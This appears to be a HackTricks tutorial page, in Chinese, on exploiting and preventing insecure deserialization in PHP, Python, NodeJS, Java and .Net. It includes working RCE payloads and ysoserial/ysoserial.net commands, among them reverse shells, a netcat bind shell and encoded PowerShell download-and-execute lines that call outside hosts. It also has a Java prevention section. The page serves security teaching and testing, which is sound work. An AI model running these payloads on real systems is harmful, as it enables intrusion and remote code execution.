反序列化
Reading time: 48 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
序列化 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。
反序列化 则是与序列化相对的过程。它涉及将以特定格式结构化的数据重新构建回对象。
反序列化可能是危险的,因为它可能 允许攻击者操纵序列化数据以执行有害代码 或在对象重建过程中导致应用程序出现意外行为。
PHP
在 PHP 中,特定的魔术方法在序列化和反序列化过程中被使用:
__sleep
: 在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。__wakeup
: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。__unserialize
: 当对象被反序列化时,此方法会被调用(如果存在),而不是__wakeup
。与__wakeup
相比,它对反序列化过程提供了更多控制。__destruct
: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。__toString
: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
如果你查看结果,你会发现当对象被反序列化时,__wakeup
和 __destruct
函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时会调用 __toString
函数,但显然这不再发生。
warning
如果在类中实现了 __unserialize(array $data)
方法,则会代替 __wakeup()
被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// 在反序列化时执行任何必要的任务。
}
}
你可以在这里阅读一个解释过的 PHP 示例: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/,在这里 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或在这里 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP 反序列化 + 自动加载类
你可以滥用 PHP 自动加载功能来加载任意 php 文件等:
PHP - Deserialization + Autoload Classes
序列化引用值
如果出于某种原因你想将一个值序列化为对另一个序列化值的引用,你可以:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC 可以帮助你生成有效载荷以滥用 PHP 反序列化。
请注意,在某些情况下,你 无法在应用程序的源代码中找到滥用反序列化的方法,但你可能能够 滥用外部 PHP 扩展的代码。
因此,如果可以,请检查服务器的 phpinfo()
并 在互联网上搜索(甚至在 PHPGGC 的 gadgets 中)一些可能的你可以滥用的 gadget。
phar:// metadata deserialization
如果你发现一个 LFI 只是读取文件而不执行其中的 php 代码,例如使用 file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()。 你可以尝试滥用在使用 phar 协议时 读取 文件 发生的 反序列化。
有关更多信息,请阅读以下帖子:
Python
Pickle
当对象被反序列化时,函数 ___reduce___ 将被执行。
当被利用时,服务器可能会返回一个错误。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
在检查绕过技术之前,如果您正在运行 python3,请尝试使用 print(base64.b64encode(pickle.dumps(P(),2)))
生成与 python2 兼容的对象。
有关从 pickle jails 逃逸的更多信息,请查看:
Yaml & jsonpickle
以下页面介绍了 滥用不安全的 yaml 反序列化 的技术,并以一个可以用于生成 Pickle, PyYAML, jsonpickle 和 ruamel.yaml 的 RCE 反序列化有效负载的工具结束:
类污染 (Python 原型污染)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS 魔法函数
JS 没有像 PHP 或 Python 那样的 "魔法" 函数,这些函数仅用于创建对象而被执行。但它有一些 函数,即使没有直接调用它们也 经常使用,例如 toString
、valueOf
、toJSON
。
如果滥用反序列化,您可以 妥协这些函数以执行其他代码(可能滥用原型污染),当它们被调用时,您可以执行任意代码。
另一种 "魔法" 调用函数 的方式是 妥协一个由异步函数(promise)返回的对象。因为,如果您 将该返回对象 转换为另一个 promise,并具有一个名为 "then" 的函数类型属性,它将仅因为它是由另一个 promise 返回而被 执行。有关更多信息,请 点击此链接 。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
和 prototype
污染
如果你想了解这个技术 请查看以下教程:
NodeJS - proto & prototype Pollution
node-serialize
这个库允许序列化函数。示例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
序列化对象将如下所示:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
您可以在示例中看到,当一个函数被序列化时,_$$ND_FUNC$$_
标志被附加到序列化对象上。
在文件 node-serialize/lib/serialize.js
中,您可以找到相同的标志以及代码是如何使用它的。
正如您在最后一段代码中所看到的,如果找到该标志,则使用 eval
来反序列化函数,因此基本上用户输入被用于 eval
函数内部。
然而,仅仅序列化一个函数并不会执行它,因为在我们的示例中需要某部分代码调用 y.rce
,这非常不可能。
无论如何,您可以修改序列化对象,添加一些括号,以便在对象被反序列化时自动执行序列化的函数。
在下一段代码中注意最后的括号以及 unserialize
函数将如何自动执行代码:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
如前所述,该库将在_$$ND_FUNC$$_
之后获取代码并将执行它,使用eval
。因此,为了自动执行代码,您可以删除函数创建部分和最后一个括号,并仅执行一个JS单行代码,如下例所示:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
您可以在这里找到 有关如何利用此漏洞的更多信息。
funcster
funcster 的一个显著特点是 标准内置对象 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用 console.log()
或 require(something)
等命令时,会导致 "ReferenceError: console is not defined"
等异常。
尽管有此限制,但可以通过特定方法恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
有关 更多信息,请阅读此来源。
serialize-javascript
serialize-javascript 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 eval
来反序列化序列化的数据:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
如果这个函数用于反序列化对象,你可以轻松利用它:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
有关更多信息,请阅读此来源 更多信息读这个源.
Cryo库
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
在Java中,反序列化回调在反序列化过程中执行。攻击者可以利用恶意有效负载触发这些回调,从而导致潜在的有害操作执行。
指纹
白盒
要识别代码库中的潜在序列化漏洞,请搜索:
- 实现了
Serializable
接口的类。 - 使用
java.io.ObjectInputStream
、readObject
、readUnshare
函数。
特别注意:
- 与外部用户定义的参数一起使用的
XMLDecoder
。 XStream
的fromXML
方法,特别是当 XStream 版本小于或等于 1.46 时,因为它容易受到序列化问题的影响。- 与
readObject
方法结合使用的ObjectInputStream
。 - 实现
readObject
、readObjectNodData
、readResolve
或readExternal
等方法。 ObjectInputStream.readUnshared
。- 一般使用
Serializable
。
黑盒
对于黑盒测试,寻找特定的 签名或“魔法字节”,以表示来自 ObjectInputStream
的 Java 序列化对象:
- 十六进制模式:
AC ED 00 05
。 - Base64模式:
rO0
。 - HTTP 响应头中
Content-type
设置为application/x-java-serialized-object
。 - 表示先前压缩的十六进制模式:
1F 8B 08 00
。 - 表示先前压缩的 Base64 模式:
H4sIA
。 - 具有
.faces
扩展名的 Web 文件和faces.ViewState
参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 关于 Java JSF ViewState 反序列化的帖子。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
检查是否存在漏洞
如果你想要了解Java反序列化漏洞是如何工作的,你应该查看基本Java反序列化、Java DNS反序列化和CommonsCollection1有效载荷。
白盒测试
你可以检查是否安装了任何已知漏洞的应用程序。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
您可以尝试检查所有已知的易受攻击库,并且Ysoserial可以提供利用。或者您可以检查Java-Deserialization-Cheat-Sheet上指示的库。
您还可以使用gadgetinspector搜索可能被利用的gadget链。
运行gadgetinspector(构建后)时,不必在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,gadgetinspector不会创建利用,并且可能会指示误报。
黑盒测试
使用Burp扩展gadgetprobe,您可以识别可用的库(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会更容易。
阅读此文以了解更多关于GadgetProbe的信息。
GadgetProbe专注于**ObjectInputStream
反序列化**。
使用Burp扩展Java Deserialization Scanner,您可以识别可被ysoserial利用的易受攻击库并利用它们。
阅读此文以了解更多关于Java Deserialization Scanner的信息。
Java Deserialization Scanner专注于**ObjectInputStream
**反序列化。
您还可以使用Freddy来检测Burp中的反序列化漏洞。此插件将检测不仅是ObjectInputStream
相关的漏洞,还包括来自Json和Yml反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。
您可以在这里找到更多关于Freddy的信息。
序列化测试
并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以更改序列化对象内部的数据并绕过某些检查(可能授予您在web应用程序中的管理员权限)。
如果您发现一个java序列化对象被发送到web应用程序,您可以使用SerializationDumper 以更人性化的格式打印发送的序列化对象。知道您发送了哪些数据将更容易修改它并绕过某些检查。
利用
ysoserial
利用Java反序列化的主要工具是ysoserial(在此下载)。您还可以考虑使用ysoseral-modified,这将允许您使用复杂的命令(例如带管道的命令)。
请注意,此工具专注于利用**ObjectInputStream
。
我会先使用“URLDNS”有效载荷而不是RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
在为 java.lang.Runtime.exec() 创建有效负载时,您 不能使用特殊字符,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 通过空格 分隔 传递参数 给命令(您可以执行 echo -n "hello world"
,但不能执行 python2 -c 'print "Hello world"'
)。为了正确编码有效负载,您可以 使用这个网页。
请随意使用下一个脚本来创建 所有可能的代码执行 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上进行测试:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
您可以使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection 与 ysoserial 一起创建更多漏洞利用。有关此工具的更多信息,请参见演讲的幻灯片,该工具在其中介绍:https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec 可用于生成有效载荷,以利用 Java 中不同的Json和Yml序列化库。
为了编译该项目,我需要添加这些依赖项到 pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
安装 maven,并 编译 项目:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
阅读更多关于这个Java JSON库的信息: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- 如果你想测试一些ysoserial有效载荷,你可以运行这个webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java在各种目的上使用了大量的序列化,例如:
- HTTP请求: 序列化广泛用于参数、ViewState、cookies等的管理。
- RMI (远程方法调用): Java RMI协议完全依赖于序列化,是Java应用程序中远程通信的基石。
- RMI over HTTP: 这种方法通常被基于Java的厚客户端web应用程序使用,利用序列化进行所有对象通信。
- JMX (Java管理扩展): JMX利用序列化在网络上传输对象。
- 自定义协议: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的利用示例中演示。
Prevention
Transient objects
一个实现了Serializable
的类可以将类中任何不应该被序列化的对象实现为transient
。例如:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
避免序列化需要实现 Serializable 的类
在某些 对象必须实现 Serializable
接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 final
readObject()
方法,如下所示:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
增强 Java 中的反序列化安全性
自定义 java.io.ObjectInputStream
是确保反序列化过程安全的实用方法。当满足以下条件时,此方法适用:
- 反序列化代码在您的控制之下。
- 预期反序列化的类是已知的。
重写 resolveClass()
方法以限制反序列化仅限于允许的类。这可以防止反序列化任何类,除了那些明确允许的类,例如以下示例仅限制反序列化为 Bicycle
类:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
使用 Java Agent 进行安全增强 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 黑名单有害类,使用 JVM 参数:
-javaagent:name-of-agent.jar
它提供了一种动态保护反序列化的方法,适用于立即代码更改不切实际的环境。
查看 rO0 by Contrast Security 中的示例
实现序列化过滤器:Java 9 通过 ObjectInputFilter
接口引入了序列化过滤器,提供了一种强大的机制,用于指定反序列化之前序列化对象必须满足的标准。这些过滤器可以全局应用或按流应用,提供对反序列化过程的细粒度控制。
要使用序列化过滤器,您可以设置一个适用于所有反序列化操作的全局过滤器,或为特定流动态配置它。例如:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
利用外部库增强安全性:像 NotSoSerial、jdeserialize 和 Kryo 这样的库提供了控制和监控 Java 反序列化的高级功能。这些库可以提供额外的安全层,例如白名单或黑名单类、在反序列化之前分析序列化对象,以及实现自定义序列化策略。
- NotSoSerial 拦截反序列化过程,以防止执行不受信任的代码。
- jdeserialize 允许在不反序列化的情况下分析序列化的 Java 对象,帮助识别潜在的恶意内容。
- Kryo 是一个替代的序列化框架,强调速度和效率,提供可配置的序列化策略,可以增强安全性。
参考文献
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- 反序列化和 ysoserial 讲座:http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- 讲座关于 gadgetinspector:https://www.youtube.com/watch?v=wPbW6zQ52w8 和幻灯片:https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec 论文:https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java 和 .Net JSON 反序列化 论文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 讲座:https://www.youtube.com/watch?v=oUAeWhW5b8c 和幻灯片:https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- 反序列化 CVE:https://paper.seebug.org/123/
JNDI 注入与 log4Shell
查找 JNDI 注入、如何通过 RMI、CORBA 和 LDAP 滥用它以及如何利用 log4shell(以及此漏洞的示例)在以下页面:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java 消息服务
Java 消息服务 (JMS) API 是一个用于在两个或多个客户端之间发送消息的 Java 消息导向中间件 API。它是处理生产者-消费者问题的实现。JMS 是 Java 平台企业版(Java EE)的一部分,由 Sun Microsystems 开发的规范定义,但此后由 Java 社区过程指导。它是一种消息标准,允许基于 Java EE 的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。(来自 Wikipedia)。
产品
有几个产品使用此中间件发送消息:
利用
所以,基本上有一 堆服务以危险的方式使用 JMS。因此,如果您有 足够的权限 向这些服务发送消息(通常您需要有效的凭据),您可能能够发送 恶意对象序列化,这些对象将被消费者/订阅者反序列化。
这意味着在此利用中,所有 将使用该消息的客户端将被感染。
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的 gadget 来利用该漏洞。
工具 JMET 被创建用于 连接和攻击这些服务,发送多个使用已知 gadget 的恶意对象序列化。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
参考文献
- JMET 讲座:https://www.youtube.com/watch?v=0h8DWiOWGGA
- 幻灯片:https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
在 .Net 的上下文中,反序列化利用以类似于 Java 的方式操作,其中利用 gadget 在反序列化对象时运行特定代码。
指纹
白盒
应检查源代码中是否存在以下情况:
TypeNameHandling
JavaScriptTypeResolver
重点应放在允许通过用户控制的变量确定类型的序列化器上。
黑盒
搜索应针对 Base64 编码字符串 AAEAAAD///// 或任何可能在服务器端进行反序列化的类似模式,从而控制要反序列化的类型。这可能包括但不限于包含 TypeObject
或 $type
的 JSON 或 XML 结构。
ysoserial.net
在这种情况下,您可以使用工具 ysoserial.net 来 创建反序列化利用。下载 git 仓库后,您应该 使用 Visual Studio 等编译该工具。
如果您想了解 ysoserial.net 如何创建其利用,您可以 查看此页面,其中解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net 格式化程序。
ysoserial.net 的主要选项包括:--gadget
、--formatter
、--output
和 --plugin
。
--gadget
用于指示要滥用的 gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。--formatter
,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)--output
用于指示您是否希望以 raw 或 base64 编码的形式获得利用。请注意,ysoserial.net 将使用 UTF-16LE 编码(Windows 默认使用的编码)对有效负载进行 编码,因此如果您从 Linux 控制台获取原始数据并仅对其进行编码,您可能会遇到一些 编码兼容性问题,这将导致利用无法正常工作(在 HTB JSON 框中,有效负载在 UTF-16LE 和 ASCII 中均有效,但这并不意味着它总是有效)。--plugin
ysoserial.net 支持插件以制作 特定框架的利用,如 ViewState
更多 ysoserial.net 参数
--minify
将提供一个 更小的有效负载(如果可能)--raf -f Json.Net -c "anything"
这将指示可以与提供的格式化程序(在这种情况下为Json.Net
)一起使用的所有 gadget--sf xml
您可以 指示一个 gadget(-g
),ysoserial.net 将搜索包含 "xml" 的格式化程序(不区分大小写)
ysoserial 示例 创建利用:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net 还有一个 非常有趣的参数,可以更好地理解每个漏洞是如何工作的: --test
如果您指明此参数,ysoserial.net 将 尝试 在 本地利用漏洞, 这样您可以测试您的有效载荷是否能正常工作。
这个参数很有帮助,因为如果您查看代码,您会发现类似以下的代码块(来自 ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
这意味着为了测试漏洞,代码将调用 serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
